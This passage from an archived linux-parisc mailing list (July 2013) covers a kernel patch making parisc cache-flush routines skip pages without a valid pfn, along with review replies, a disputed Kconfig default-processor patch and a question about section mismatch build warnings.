> due to a TLB data miss in update_mmu_cache.  This appeared to be in the code generated for page_address().
> We were in fact using a very circular bit of code to determine the physical address of the PFN in various cache
> routines.  This wasn't valid when there was no "struct page" backing.  The needed address can in fact be determined
> simply from the PFN itself without using the "struct page".
> 
> The attached patch updates update_mmu_cache(), flush_cache_mm(), flush_cache_range() and flush_cache_page()
> to check pfn_valid() and to directly compute the PFN physical and virtual addresses.

This patch gave lots of checkscript warnings.
Mostly because we now use more than 80 chars/line.

I've restructured the functions with cleaner return/continue code and submitted it into my "for-next" git tree at
https://patchwork.kernel.org/patch/2825923/mbox/

The modified patch is now here:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=606cd30e0e20806e3566d223223a6cb4e47ec9ea
and attached to this mail.
It's currently only compile-tested.

Helge


--------------090601060802030604010003
Content-Type: text/plain; charset=UTF-8;
 name="p1"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="p1"

>From patchwork Tue Jul 23 16:27:52 2013
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: parisc: Fix cache routines to ignore vma's with an invalid pfn
From: John David Anglin <dave.anglin@bell.net>
X-Patchwork-Id: 2832084
Message-Id: <BLU0-SMTP618F2A575D86195DC418DD976F0@phx.gbl>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Date: Tue, 23 Jul 2013 12:27:52 -0400

The parisc architecture does not have a pte special bit. As a result,
special mappings are handled with the VM_PFNMAP and VM_MIXEDMAP flags.
VM_MIXEDMAP mappings may or may not have a "struct page" backing. When
pfn_valid() is false, there is no "struct page" backing. Otherwise, they
are treated as normal pages.

The FireGL driver uses the VM_MIXEDMAP without a backing "struct page".
This treatment caused a panic due to a TLB data miss in
update_mmu_cache. This appeared to be in the code generated for
page_address(). We were in fact using a very circular bit of code to
determine the physical address of the PFN in various cache routines.
This wasn't valid when there was no "struct page" backing.  The needed
address can in fact be determined simply from the PFN itself without
using the "struct page".

The attached patch updates update_mmu_cache(), flush_cache_mm(),
flush_cache_range() and flush_cache_page() to check pfn_valid() and to
directly compute the PFN physical and virtual addresses.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Cc: <stable@vger.kernel.org> # 3.10

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 2e65aa5..28045e7 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -71,18 +71,27 @@ flush_cache_all_local(void)
 }
 EXPORT_SYMBOL(flush_cache_all_local);
 
+/* Virtual address of pfn.  */
+#define pfn_va(pfn)	__va(PFN_PHYS(pfn))
+
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+	unsigned long pfn = pte_pfn(*ptep);
+	struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+	/* We don't have pte special.  As a result, we can be called with
+	   an invalid pfn and we don't need to flush the kernel dcache page.
+	   This occurs with FireGL card in C8000.  */
+	if (!pfn_valid(pfn))
+		return;
 
-		flush_kernel_dcache_page(page);
+	page = pfn_to_page(pfn);
+	if (page_mapping(page) && test_bit(PG_dcache_dirty, &page->flags)) {
+		flush_kernel_dcache_page_addr(pfn_va(pfn));
 		clear_bit(PG_dcache_dirty, &page->flags);
 	} else if (parisc_requires_coherency())
-		flush_kernel_dcache_page(page);
+		flush_kernel_dcache_page_addr(pfn_va(pfn));
 }
 
 void
@@ -495,44 +504,42 @@ static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
 
 void flush_cache_mm(struct mm_struct *mm)
 {
+	struct vm_area_struct *vma;
+	pgd_t *pgd;
+
 	/* Flushing the whole cache on each cpu takes forever on
 	   rp3440, etc.  So, avoid it if the mm isn't too big.  */
-	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
-		struct vm_area_struct *vma;
-
-		if (mm->context == mfsp(3)) {
-			for (vma = mm->mmap; vma; vma = vma->vm_next) {
-				flush_user_dcache_range_asm(vma->vm_start,
-					vma->vm_end);
-				if (vma->vm_flags & VM_EXEC)
-					flush_user_icache_range_asm(
-					  vma->vm_start, vma->vm_end);
-			}
-		} else {
-			pgd_t *pgd = mm->pgd;
-
-			for (vma = mm->mmap; vma; vma = vma->vm_next) {
-				unsigned long addr;
-
-				for (addr = vma->vm_start; addr < vma->vm_end;
-				     addr += PAGE_SIZE) {
-					pte_t *ptep = get_ptep(pgd, addr);
-					if (ptep != NULL) {
-						pte_t pte = *ptep;
-						__flush_cache_page(vma, addr,
-						  page_to_phys(pte_page(pte)));
-					}
-				}
-			}
+	if (mm_total_size(mm) >= parisc_cache_flush_threshold) {
+		flush_cache_all();
+		return;
+	}
+
+	if (mm->context == mfsp(3)) {
+		for (vma = mm->mmap; vma; vma = vma->vm_next) {
+			flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+			if ((vma->vm_flags & VM_EXEC) == 0)
+				continue;
+			flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
 		}
 		return;
 	}
 
-#ifdef CONFIG_SMP
-	flush_cache_all();
-#else
-	flush_cache_all_local();
-#endif
+	pgd = mm->pgd;
+	for (vma = mm->mmap; vma; vma = vma->vm_next) {
+		unsigned long addr;
+
+		for (addr = vma->vm_start; addr < vma->vm_end;
+		     addr += PAGE_SIZE) {
+			unsigned long pfn;
+			pte_t *ptep = get_ptep(pgd, addr);
+			if (!ptep)
+				continue;
+			pfn = pte_pfn(*ptep);
+			if (!pfn_valid(pfn))
+				continue;
+			__flush_cache_page(vma, addr, PFN_PHYS(pfn));
+		}
+	}
 }
 
 void
@@ -556,33 +563,32 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
+	unsigned long addr;
+	pgd_t *pgd;
+
 	BUG_ON(!vma->vm_mm->context);
 
-	if ((end - start) < parisc_cache_flush_threshold) {
-		if (vma->vm_mm->context == mfsp(3)) {
-			flush_user_dcache_range_asm(start, end);
-			if (vma->vm_flags & VM_EXEC)
-				flush_user_icache_range_asm(start, end);
-		} else {
-			unsigned long addr;
-			pgd_t *pgd = vma->vm_mm->pgd;
-
-			for (addr = start & PAGE_MASK; addr < end;
-			     addr += PAGE_SIZE) {
-				pte_t *ptep = get_ptep(pgd, addr);
-				if (ptep != NULL) {
-					pte_t pte = *ptep;
-					flush_cache_page(vma,
-					   addr, pte_pfn(pte));
-				}
-			}
-		}
-	} else {
-#ifdef CONFIG_SMP
+	if ((end - start) >= parisc_cache_flush_threshold) {
 		flush_cache_all();
-#else
-		flush_cache_all_local();
-#endif
+		return;
+	}
+
+	if (vma->vm_mm->context == mfsp(3)) {
+		flush_user_dcache_range_asm(start, end);
+		if (vma->vm_flags & VM_EXEC)
+			flush_user_icache_range_asm(start, end);
+		return;
+	}
+
+	pgd = vma->vm_mm->pgd;
+	for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+		unsigned long pfn;
+		pte_t *ptep = get_ptep(pgd, addr);
+		if (!ptep)
+			continue;
+		pfn = pte_pfn(*ptep);
+		if (pfn_valid(pfn))
+			__flush_cache_page(vma, addr, PFN_PHYS(pfn));
 	}
 }
 
@@ -591,9 +597,10 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 {
 	BUG_ON(!vma->vm_mm->context);
 
-	flush_tlb_page(vma, vmaddr);
-	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));

From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH]  parisc: Fix cache routines to ignore vma's with an invalid pfn
Date: Tue, 23 Jul 2013 19:44:32 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <BLU0-SMTP673C7B36CA7DEFADDE7F9B976F0@phx.gbl>
References: <BLU0-SMTP618F2A575D86195DC418DD976F0@phx.gbl> <51EEFB3B.3010107@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374623101 13057 80.91.229.3 (23 Jul 2013 23:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jul 2013 23:45:01 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 24 01:45:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1mGI-0004Ni-PX
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Jul 2013 01:44:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934377Ab3GWXow (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jul 2013 19:44:52 -0400
Original-Received: from blu0-omc4-s27.blu0.hotmail.com ([65.55.111.166]:20318 "EHLO
	blu0-omc4-s27.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933968Ab3GWXov (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jul 2013 19:44:51 -0400
Original-Received: from BLU0-SMTP67 ([65.55.111.136]) by blu0-omc4-s27.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 23 Jul 2013 16:44:50 -0700
X-EIP: [otwdRWmgGa2vFrQfxvMqWTNhJJWX3yeM]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP67.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 23 Jul 2013 16:44:49 -0700
In-Reply-To: <51EEFB3B.3010107@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Jul 2013 23:44:49.0464 (UTC) FILETIME=[9EB83B80:01CE87FE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5211
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5211>

On 23-Jul-13, at 5:52 PM, Helge Deller wrote:

> I've restructured the functions with cleaner return/continue code  
> and submitted it into my "for-next" git tree at
> https://patchwork.kernel.org/patch/2825923/mbox/

Looks fine to me.  I'll test soon.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Kconfig: use 'PA8X00' as the default choise instead
 of 'PA7000'
Date: Wed, 24 Jul 2013 16:12:02 +0800
Lines: 42
Approved: news@gmane.org
Message-ID: <51EF8C52.50403@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1374653588 1691 80.91.229.3 (24 Jul 2013 08:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jul 2013 08:13:08 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 24 10:13:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1uC3-0007Hq-QN
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Jul 2013 10:13:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751568Ab3GXING convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 04:13:06 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:44565 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750865Ab3GXINB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 04:13:01 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 56B531840409; Wed, 24 Jul 2013 16:13:00 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 13CCD1840243;
	Wed, 24 Jul 2013 16:13:00 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5212
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5212>

=46or server, 64-bit kernel is widely used and '64BIT' have been alread=
y
as the default option of a server.

So better to use 64-bit kernel as default choise instead of 32-bit
kernel.

Or when use cross-compiler 'hppa64-linux-gnu-gcc' with allmodconfig, it
will report BUILD_BUG_ON:

  arch/parisc/mm/init.c: In function =91mem_init=92:
  arch/parisc/mm/init.c:581:2: error: call to =91__compiletime_assert_5=
81=92 declared with attribute error: BUILD_BUG_ON failed: PTE_ENTRY_SIZ=
E !=3D sizeof(pte_t)


Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/parisc/Kconfig |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index aa399a5..37bdecf 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -111,7 +111,7 @@ menu "Processor type and features"
=20
 choice
 	prompt "Processor type"
-	default PA7000
+	default PA8X00
=20
 config PA7000
 	bool "PA7000/PA7100"
--=20
1.7.7.6
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Wed, 24 Jul 2013 16:27:25 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <51EF8FED.9090903@asianux.com>
References: <51EF8C52.50403@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374654509 11994 80.91.229.3 (24 Jul 2013 08:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jul 2013 08:28:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 24 10:28:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1uQt-00033P-NF
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Jul 2013 10:28:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750750Ab3GXI20 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 04:28:26 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:55818 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750788Ab3GXI2Z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 04:28:25 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 3F1F31840243; Wed, 24 Jul 2013 16:28:24 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id E4E151840243;
	Wed, 24 Jul 2013 16:28:23 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <51EF8C52.50403@asianux.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5213
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5213>

Hello Maintainers:

When building parisc with allmodconfig by 'hppa64-linux-gnu-', I find section mismatch warnings.

I am not quite sure whether they will cause real issue or not, please
help check, thanks.

  LD      arch/parisc/kernel/built-in.o
WARNING: arch/parisc/kernel/built-in.o(.data+0x118): Section mismatch in reference from the variable .L24 to the function .init.text:do_device_inventory()
The variable .L24 references
the function __init do_device_inventory()
If the reference is valid then annotate the
variable with __init* or __refdata (see linux/init.h) or name the variable:
*_template, *_timer, *_sht, *_ops, *_probe, *_probe_one, *_console

WARNING: arch/parisc/kernel/built-in.o(.data+0x120): Section mismatch in reference from the variable .L26 to the function .init.text:parisc_pdc_chassis_init()
The variable .L26 references
the function __init parisc_pdc_chassis_init()
If the reference is valid then annotate the
variable with __init* or __refdata (see linux/init.h) or name the variable:
*_template, *_timer, *_sht, *_ops, *_probe, *_probe_one, *_console


At least, I am sure it is not the source code issue, is it the cross-
compiler's issue (need change suitable compiler), or just skip them ?

Welcome any suggestions or completions.


Thanks.
--
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH]  parisc: Fix cache routines to ignore vma's with an invalid pfn
Date: Wed, 24 Jul 2013 14:18:37 +0400
Lines: 29
Approved: news@gmane.org
Message-ID: <FFAF7250-C718-46D5-B632-A6FE442A0EFF@p0n4ik.tk>
References: <BLU0-SMTP618F2A575D86195DC418DD976F0@phx.gbl> <51EEFB3B.3010107@gmx.de> <BLU0-SMTP673C7B36CA7DEFADDE7F9B976F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1374661484 29350 80.91.229.3 (24 Jul 2013 10:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jul 2013 10:24:44 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 24 12:24:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1wFP-0000au-Co
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Jul 2013 12:24:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751777Ab3GXKYe convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 06:24:34 -0400
Original-Received: from forward5l.mail.yandex.net ([84.201.143.138]:42256 "EHLO
	forward5l.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751217Ab3GXKYc convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 06:24:32 -0400
X-Greylist: delayed 351 seconds by postgrey-1.27 at vger.kernel.org; Wed, 24 Jul 2013 06:24:32 EDT
Original-Received: from smtp6.mail.yandex.net (smtp6.mail.yandex.net [77.88.61.56])
	by forward5l.mail.yandex.net (Yandex) with ESMTP id 7F78BC4435D;
	Wed, 24 Jul 2013 14:18:38 +0400 (MSK)
Original-Received: from smtp6.mail.yandex.net (localhost [127.0.0.1])
	by smtp6.mail.yandex.net (Yandex) with ESMTP id 29AD71640911;
	Wed, 24 Jul 2013 14:18:38 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp6.mail.yandex.net (nwsmtp/Yandex) with ESMTP id zK0K29rDGE-Ibs0G9Gp;
	Wed, 24 Jul 2013 14:18:37 +0400
In-Reply-To: <BLU0-SMTP673C7B36CA7DEFADDE7F9B976F0@phx.gbl>
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5214>

24.07.2013, =D7 3:44, John David Anglin <dave.anglin@bell.net> =CE=C1=D0=
=C9=D3=C1=CC(=C1):

> On 23-Jul-13, at 5:52 PM, Helge Deller wrote:
>=20
>> I've restructured the functions with cleaner return/continue code an=
d submitted it into my "for-next" git tree at
>> https://patchwork.kernel.org/patch/2825923/mbox/
>=20
> Looks fine to me.  I'll test soon.
>=20
> Dave
> --
> John David Anglin	dave.anglin@bell.net
>=20
>=20
>=20
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

Thank you both! It behaves normally at my side.--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Kconfig: use 'PA8X00' as the default choise
 instead of 'PA7000'
Date: Wed, 24 Jul 2013 07:00:43 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <1374674443.4634.3.camel@dabdike>
References: <51EF8C52.50403@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1374674446 15782 80.91.229.3 (24 Jul 2013 14:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jul 2013 14:00:46 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 24 16:00:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1zcV-0008Ch-E8
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Jul 2013 16:00:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751005Ab3GXOAq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 10:00:46 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35734 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750963Ab3GXOAp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 10:00:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AE7408EE101;
	Wed, 24 Jul 2013 07:00:44 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WfiRMtW-U7i1; Wed, 24 Jul 2013 07:00:44 -0700 (PDT)
Original-Received: from [10.0.0.2] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2C9928EE0CE;
	Wed, 24 Jul 2013 07:00:44 -0700 (PDT)
In-Reply-To: <51EF8C52.50403@asianux.com>
X-Mailer: Evolution 3.8.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5215>


On Wed, 2013-07-24 at 16:12 +0800, Chen Gang wrote:
> For server, 64-bit kernel is widely used and '64BIT' have been alread=
y
> as the default option of a server.
>=20
> So better to use 64-bit kernel as default choise instead of 32-bit
> kernel.

I think this is irrelevant since we have defconfig for this.  You
apparent request doesn't match the code below.

> Or when use cross-compiler 'hppa64-linux-gnu-gcc' with allmodconfig, =
it
> will report BUILD_BUG_ON:
>=20
>   arch/parisc/mm/init.c: In function =E2=80=98mem_init=E2=80=99:
>   arch/parisc/mm/init.c:581:2: error: call to =E2=80=98__compiletime_=
assert_581=E2=80=99 declared with attribute error: BUILD_BUG_ON failed:=
 PTE_ENTRY_SIZE !=3D sizeof(pte_t)

This shows you're using a buggy compiler.  PTE_OFFSET_SIZE is generated
as part of the build process, so you need a correct compiler.

> Signed-off-by: Chen Gang <gang.chen@asianux.com>
> ---
>  arch/parisc/Kconfig |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
>=20
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index aa399a5..37bdecf 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -111,7 +111,7 @@ menu "Processor type and features"
> =20
>  choice
>  	prompt "Processor type"
> -	default PA7000
> +	default PA8X00

This doesn't require 64 bit: PA8xxx processors can operate happily in 3=
2
bit mode it does make the question appear, since PA7xxx are 32 bit only=
=2E

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Wed, 24 Jul 2013 07:11:35 -0700
